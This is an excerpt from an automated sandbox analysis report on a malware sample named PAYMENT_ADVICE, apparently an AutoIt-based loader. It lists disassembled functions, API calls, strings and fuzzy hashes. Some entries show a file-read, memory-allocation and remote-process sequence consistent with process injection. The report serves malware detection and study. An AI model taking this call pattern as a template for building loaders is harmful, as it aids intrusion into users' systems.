                                                              control_flow_graph 983 d92600-d926ae call d90000 986 d926b5-d926db call d93510 CreateFileW 983->986 989 d926dd 986->989 990 d926e2-d926f2 986->990 991 d9282d-d92831 989->991 998 d926f9-d92713 VirtualAlloc 990->998 999 d926f4 990->999 992 d92873-d92876 991->992 993 d92833-d92837 991->993 995 d92879-d92880 992->995 996 d92839-d9283c 993->996 997 d92843-d92847 993->997 1000 d92882-d9288d 995->1000 1001 d928d5-d928ea 995->1001 996->997 1002 d92849-d92853 997->1002 1003 d92857-d9285b 997->1003 1004 d9271a-d92731 ReadFile 998->1004 1005 d92715 998->1005 999->991 1006 d9288f 1000->1006 1007 d92891-d9289d 1000->1007 1008 d928fa-d92902 1001->1008 1009 d928ec-d928f7 VirtualFree 1001->1009 1002->1003 1010 d9286b 1003->1010 1011 d9285d-d92867 1003->1011 1012 d92738-d92778 VirtualAlloc 1004->1012 1013 d92733 1004->1013 1005->991 1006->1001 1016 d9289f-d928af 1007->1016 1017 d928b1-d928bd 1007->1017 1009->1008 1010->992 1011->1010 1014 d9277a 1012->1014 1015 d9277f-d9279a call d93760 1012->1015 1013->991 1014->991 1023 d927a5-d927af 1015->1023 1019 d928d3 1016->1019 1020 d928ca-d928d0 1017->1020 1021 d928bf-d928c8 1017->1021 1019->995 1020->1019 1021->1019 1024 d927b1-d927e0 call d93760 1023->1024 1025 d927e2-d927f6 call d93570 1023->1025 1024->1023 1031 d927f8 1025->1031 1032 d927fa-d927fe 1025->1032 1031->991 1033 d9280a-d9280e 1032->1033 1034 d92800-d92804 CloseHandle 1032->1034 1035 d9281e-d92827 1033->1035 1036 d92810-d9281b VirtualFree 1033->1036 1034->1033 1035->986 1035->991 1036->1035
                                                              APIs
                                                              • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 00D926D1
                                                              • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00D928F7
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2050897221.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d90000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CreateFileFreeVirtual
                                                              • String ID:
                                                              • API String ID: 204039940-0
                                                              • Opcode ID: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
                                                              • Instruction ID: 043b280dfc7f66d02dbaf36bc1953887e95220a6707e1bf498075d34ae2f1ce9
                                                              • Opcode Fuzzy Hash: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
                                                              • Instruction Fuzzy Hash: 63A1F274E00209EBDF14CFA4C894BEEBBB5FF48304F248559E501BB280D7799A81DBA4
                                                              Function 003439D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1114 3439d5-343a45 CreateWindowExW * 2 ShowWindow * 2
                                                              APIs
                                                              • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00343A03
                                                              • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00343A24
                                                              • ShowWindow.USER32(00000000,?,?), ref: 00343A38
                                                              • ShowWindow.USER32(00000000,?,?), ref: 00343A41
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$CreateShow
                                                              • String ID: AutoIt v3$edit
                                                              • API String ID: 1584632944-3779509399
                                                              • Opcode ID: 208c17a5ef6ba46f661b39db14d1884826d82dc76a4d4d5b4efc01fca6bfb1c1
                                                              • Instruction ID: 4cddf0b51f4a1c5ddd6490b280d254647f40bd5fa17dda66e96a57cc2ac13fdb
                                                              • Opcode Fuzzy Hash: 208c17a5ef6ba46f661b39db14d1884826d82dc76a4d4d5b4efc01fca6bfb1c1
                                                              • Instruction Fuzzy Hash: 4DF01770500294BEEA2157236C0CE6B2E7EDBC6F50F00407EB904F2160C2751C10CEB4
                                                              Function 00D923B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151fileCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1115 d923b0-d924fa call d90000 call d922a0 CreateFileW 1122 d924fc 1115->1122 1123 d92501-d92511 1115->1123 1124 d925b1-d925b6 1122->1124 1126 d92518-d92532 VirtualAlloc 1123->1126 1127 d92513 1123->1127 1128 d92534 1126->1128 1129 d92536-d9254d ReadFile 1126->1129 1127->1124 1128->1124 1130 d9254f 1129->1130 1131 d92551-d9258b call d922e0 call d912a0 1129->1131 1130->1124 1136 d9258d-d925a2 call d92330 1131->1136 1137 d925a7-d925af ExitProcess 1131->1137 1136->1137 1137->1124
                                                              APIs
                                                                • Part of subcall function 00D922A0: Sleep.KERNELBASE(000001F4), ref: 00D922B1
                                                              • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00D924F0
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2050897221.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d90000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CreateFileSleep
                                                              • String ID: J0HJOYYTNGGYHIXQ8
                                                              • API String ID: 2694422964-2985679846
                                                              • Opcode ID: 2fd0afe3ca5eea4eb7ad10af98e325e5270478d7dd01deb8938e5be53bd386fd
                                                              • Instruction ID: f82d2211b69b2e8c1a6206cdbaf64286a0bff515f5b9c05bcda8d4ed902ee111
                                                              • Opcode Fuzzy Hash: 2fd0afe3ca5eea4eb7ad10af98e325e5270478d7dd01deb8938e5be53bd386fd
                                                              • Instruction Fuzzy Hash: FA519170D14248EBEF11DBE4D854BEEBBB5AF18300F108199E609BB2C0D77A4B45CB65
                                                              Function 0034407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1139 34407c-344092 1140 34416f-344173 1139->1140 1141 344098-3440ad call 347a16 1139->1141 1144 3440b3-3440d3 call 347bcc 1141->1144 1145 37d3c8-37d3d7 LoadStringW 1141->1145 1147 37d3e2-37d3fa call 347b2e call 346fe3 1144->1147 1149 3440d9-3440dd 1144->1149 1145->1147 1157 3440ed-34416a call 362de0 call 34454e call 362dbc Shell_NotifyIconW call 345904 1147->1157 1161 37d400-37d41e call 347cab call 346fe3 call 347cab 1147->1161 1151 344174-34417d call 348047 1149->1151 1152 3440e3-3440e8 call 347b2e 1149->1152 1151->1157 1152->1157 1157->1140 1161->1157
                                                              APIs
                                                              • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 0037D3D7
                                                                • Part of subcall function 00347BCC: _memmove.LIBCMT ref: 00347C06
                                                              • _memset.LIBCMT ref: 003440FC
                                                              • _wcscpy.LIBCMT ref: 00344150
                                                              • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00344160
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
                                                              • String ID: Line:
                                                              • API String ID: 3942752672-1585850449
                                                              • Opcode ID: 4533bc33dd52826df7fd48a5c54b38f030fedfb039d9dfe0d9483900f8b57588
                                                              • Instruction ID: c16aaf4d0bb25f86cf3c57364ca424db892f517e0e2a649c894598f6e60f058b
                                                              • Opcode Fuzzy Hash: 4533bc33dd52826df7fd48a5c54b38f030fedfb039d9dfe0d9483900f8b57588
                                                              • Instruction Fuzzy Hash: 4C318D71008704AFD722EB60DC4AFEB77E8EF44304F20452EF5899A0A1DB74A658CB96
                                                              Function 0036541D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
                                                              • String ID:
                                                              • API String ID: 1559183368-0
                                                              • Opcode ID: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
                                                              • Instruction ID: 01cc1000e36f6d3f7ef8eabdaea79b8c94eb07fe16afabe547ecf35df0b08ba4
                                                              • Opcode Fuzzy Hash: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
                                                              • Instruction Fuzzy Hash: A751F630A00B05DBCB278F69C88466E77B6AF41321F25C779F937962D8DB709D508B40
                                                              Function 0034686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00344DDD: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,004052F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00344E0F
                                                              • _free.LIBCMT ref: 0037E263
                                                              • _free.LIBCMT ref: 0037E2AA
                                                                • Part of subcall function 00346A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00346BAD
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _free$CurrentDirectoryLibraryLoad
                                                              • String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
                                                              • API String ID: 2861923089-1757145024
                                                              • Opcode ID: 03f8956a892cb4b3272d4bf1a00205bda7359f03ce788b80d8aad3f321df3978
                                                              • Instruction ID: b7db576c9d327fcc6f6cf5b1966d69aac9b90d0cf138ad7e7b869475a1a4cee1
                                                              • Opcode Fuzzy Hash: 03f8956a892cb4b3272d4bf1a00205bda7359f03ce788b80d8aad3f321df3978
                                                              • Instruction Fuzzy Hash: 0D916E71910219DFCF16EFA4CC829EDB7B8FF09310B11846AF815AF2A2DB75A945CB50
                                                              Function 003435B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,003435A1,SwapMouseButtons,00000004,?), ref: 003435D4
                                                              • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,003435A1,SwapMouseButtons,00000004,?,?,?,?,00342754), ref: 003435F5
                                                              • RegCloseKey.KERNELBASE(00000000,?,?,003435A1,SwapMouseButtons,00000004,?,?,?,?,00342754), ref: 00343617
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CloseOpenQueryValue
                                                              • String ID: Control Panel\Mouse
                                                              • API String ID: 3677997916-824357125
                                                              • Opcode ID: 55bb9b9100de5c1241f49691d31da5453977616c824d9726acc3d3927f329b0c
                                                              • Instruction ID: de96766eb7374da28f2e1b2bc7a95a09846b954bf061f96a978116487ca974c0
                                                              • Opcode Fuzzy Hash: 55bb9b9100de5c1241f49691d31da5453977616c824d9726acc3d3927f329b0c
                                                              • Instruction Fuzzy Hash: EF114571614219BFDB229F64DC80EAEBBFDEF04740F128469E805DB210E275AE409BA0
                                                              Function 00D912A0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateProcessW.KERNELBASE(?,00000000), ref: 00D91A5B
                                                              • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00D91AF1
                                                              • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00D91B13
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2050897221.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d90000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                              • String ID:
                                                              • API String ID: 2438371351-0
                                                              • Opcode ID: e8e7a77c1c38f92167ec50984bffac71589908538948dc0fdf133907e09ee162
                                                              • Instruction ID: 170346f6f29c3bbce208fcb6830bd84b665cf6686cb696ae6d9e156f8e8248e3
                                                              • Opcode Fuzzy Hash: e8e7a77c1c38f92167ec50984bffac71589908538948dc0fdf133907e09ee162
                                                              • Instruction Fuzzy Hash: 71621C34A14259DBEB24CFA4C851BDEB372EF58300F1091A9E10DEB394E7759E81CB69
                                                              Function 003A955B Relevance: 6.2, APIs: 4, Instructions: 155COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00344EE5: _fseek.LIBCMT ref: 00344EFD
                                                                • Part of subcall function 003A9734: _wcscmp.LIBCMT ref: 003A9824
                                                                • Part of subcall function 003A9734: _wcscmp.LIBCMT ref: 003A9837
                                                              • _free.LIBCMT ref: 003A96A2
                                                              • _free.LIBCMT ref: 003A96A9
                                                              • _free.LIBCMT ref: 003A9714
                                                                • Part of subcall function 00362D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00369A24), ref: 00362D69
                                                                • Part of subcall function 00362D55: GetLastError.KERNEL32(00000000,?,00369A24), ref: 00362D7B
                                                              • _free.LIBCMT ref: 003A971C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
                                                              • String ID:
                                                              • API String ID: 1552873950-0
                                                              • Opcode ID: 6cef8eb787e4e551deb87a41cfcc5f328edab007a71f9a3129ff1eb0514b26a6
                                                              • Instruction ID: 8b9e6cdc09a13df20e59730b8a578242d044ba17cbe27736caa3a7a45e06bd59
                                                              • Opcode Fuzzy Hash: 6cef8eb787e4e551deb87a41cfcc5f328edab007a71f9a3129ff1eb0514b26a6
                                                              • Instruction Fuzzy Hash: 255141B1D14258AFDF259F64CC81B9EBBB9EF49300F1044AEF509AB251DB715A80CF58
                                                              Function 0036470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __flsbuf__flush__getptd_noexit__write_memmove
                                                              • String ID:
                                                              • API String ID: 2782032738-0
                                                              • Opcode ID: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
                                                              • Instruction ID: 4fb870467ac3f892eb32d5d4856a26b373161b8ef3a4b2b368d3a744c5b3c5ea
                                                              • Opcode Fuzzy Hash: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
                                                              • Instruction Fuzzy Hash: 7541F574F00746DBDB1ADFA9C8809AE7BA5EF46360B24C13DE825CB648EB71DD408B50
                                                              Function 00344C70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _memmove
                                                              • String ID: AU3!P/=$EA06
                                                              • API String ID: 4104443479-3802933467
                                                              • Opcode ID: 71589ae3cf9050dd10a7224b4698dd2de5afef7a12fcf5353d8f63c0ed1ff5fe
                                                              • Instruction ID: 8a0a48c8410b0df0d6530bf2bc75d16efe9c0d2ac8e11b4bc35deb78873f26f2
                                                              • Opcode Fuzzy Hash: 71589ae3cf9050dd10a7224b4698dd2de5afef7a12fcf5353d8f63c0ed1ff5fe
                                                              • Instruction Fuzzy Hash: FB414C21E0415867DF239B5488917BE7BF6DF47300F288475EC86AF287D624BD4483A2
                                                              Function 00347285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 0037EA39
                                                              • GetOpenFileNameW.COMDLG32(?), ref: 0037EA83
                                                                • Part of subcall function 00344750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00344743,?,?,003437AE,?), ref: 00344770
                                                                • Part of subcall function 00360791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 003607B0
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Name$Path$FileFullLongOpen_memset
                                                              • String ID: X
                                                              • API String ID: 3777226403-3081909835
                                                              • Opcode ID: d6f4777a282addaf0753e45c51edbfd591e21012c256af0d0adebc7786dc7976
                                                              • Instruction ID: 7bb90effe6df22cb900613162b53f9b471ee3312159c883fc566318f47d00e97
                                                              • Opcode Fuzzy Hash: d6f4777a282addaf0753e45c51edbfd591e21012c256af0d0adebc7786dc7976
                                                              • Instruction Fuzzy Hash: E021C331A002489BCF539F94C845BEE7BFCAF49714F00805AE508AF241DFB869898FA1
                                                              Function 003A8D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __fread_nolock_memmove
                                                              • String ID: EA06
                                                              • API String ID: 1988441806-3962188686
                                                              • Opcode ID: eeacc4cd324213ad3751a55760f90277c5e6e832a784c4566e51770d09626869
                                                              • Instruction ID: 76ea34248b154d0411742fdf25950f64fcc001384085ebf75bb5402a1688b915
                                                              • Opcode Fuzzy Hash: eeacc4cd324213ad3751a55760f90277c5e6e832a784c4566e51770d09626869
                                                              • Instruction Fuzzy Hash: FE01F9718042187EDB19CBA8CC1AEFEBBF8DB11301F00419AF552D6181E975A6048760
                                                              Function 003A98E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetTempPathW.KERNEL32(00000104,?), ref: 003A98F8
                                                              • GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 003A990F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
